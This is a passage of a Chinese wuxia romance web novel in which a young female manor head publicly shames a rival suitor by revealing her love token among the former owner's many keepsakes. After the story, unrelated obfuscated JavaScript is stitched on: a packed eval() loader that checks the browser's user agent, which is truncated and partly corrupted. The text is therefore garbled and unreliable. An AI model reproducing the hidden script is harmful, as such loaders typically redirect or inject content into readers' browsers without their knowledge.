没想到叶庄主如此年轻,竟还是女子,果然年少有为!”
忽听一声清脆的声音:“小女之前见有幸过阿竹夫人几面,阿竹夫人已是极是能干的美人,没想到叶庄主有过之而无不及!这美人来当真是美人如云,叶庄主如此样貌,想必是很有···服众的妙法?”
我抬眸看去,只见那骆冰正望着我笑,我却从她眼中看到了一闪而过的不屑。
这话听着是奉承,可那“美人如云”和“妙法”二字,简直就差把“你不过就是靠美色上位”这几个字明晃晃写脸上了。
我也不生气,笑了笑:“骆姑娘是想知道我这庄主是怎么当上的吗?”
骆冰倒闻言,扬了扬下巴,一副“我看你怎么说”的表情。
骆文忠则是面色一僵,略带责备的望了一眼自己妹妹。
“说来也是机缘。”我示意万全为那兄妹二人续上茶水:“月前高庄主遇到的麻烦,想必骆庄主也有所耳闻,某对他心生倾慕的江湖世家小姐···”
我刻意顿了顿,见那骆冰不自觉地前倾了身子。
“那位小姐出身高,家中不仅富可敌国,更与几大门派皆有姻亲。那掌门爱女心切,先是联名三十六派断了山庄的生意路子,又飞鸽传书广邀各路江湖人士上门讨伐高庄主。”
“那这岂不是这位小姐一厢情愿,关高庄主何事?”骆冰忍不住插话,语气里带着几分不平。
我微微一笑:“骆姑娘说得极是。只可惜那掌门护女心切,认定是高庄主举止不端,才引得他女儿芳心暗许。这江湖上的事,有时候原委如何并不重要,重要的是谁的拳头硬,谁的人脉广。”
说到此处,我轻轻摇头:“高庄主武功再高,总不能与整个武林为敌。那些人来了一波又一拨,让山庄上下不胜其扰。打赢了落个仗势欺人的名声,打输了更损颜面。”
“那、那后来如何?”骆冰忍不住追问。
“可巧,”我微微一笑,“我师祖与三十六派颇有些渊源,是以如今武林中不少门派的掌门,见了家师都要尊称一声小师叔。”
我端起茶盏轻抿一口,语气云淡风轻:“那日众掌门前来,家师只说了一句:‘小孩子间的事,何必闹得这般难看?’”
放下茶盏,我看向神色各异的骆家兄妹:“不过几句话,那些江湖朋友立时散了。高庄主经此一事,深感江湖人情世故纠缠太过复杂,他洒脱惯了,不愿再周旋其中,又念家师解围之恩,便将山庄托付家师。家师亦是性子疏懒之人,不喜过问俗务,便嘱我代为打理。”
“要说这高庄主,为人仗义疏朗,风姿不凡,就是一点,太招女子喜欢!可见有些时候,太过出众也是负累,骆姑娘说是不是?”
言罢,我慢条斯理从袖子摸出一方绣着青竹的帕子,在袖口上轻轻拂了拂。
“这帕子···”我见她一脸震惊望着我,心里暗笑,真是赌对了。
“骆小姐说这个吗?”我故意把帕子展开,好让她清楚地看到上面绣的“冰”字。
“说来也巧,那日清点库房,我忽然想起高庄主交代,有些陈年旧物需妥善处理,莫要徒惹是非。我才特意开箱检视,这不,在一众物件里,瞧见了这方绣工格外精致的帕子。”
见到骆冰越来越白的脸色,我故意叹了口气:“实在是高庄主情债太多,骆庄主和骆小姐有所不知,光是那罗帕、香囊、荷包、五彩络子···啧啧,足足装了好几箱呢。”
“你说谎!怎么···会···他明明说过会好好珍藏的···”骆冰突然站起,双目含泪:“我不信,我一个字都不信!我要他亲口告诉我!”
说罢捂着脸转身跑了出去。
“冰儿!”骆文忠慌忙起身追了几步,又想起什么,僵硬着回身坐下。
“骆小姐这是怎么了?”我故作惊讶。
骆文忠面上的笑都快维持不住了:“舍妹被我惯坏了,让叶庄主见笑。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l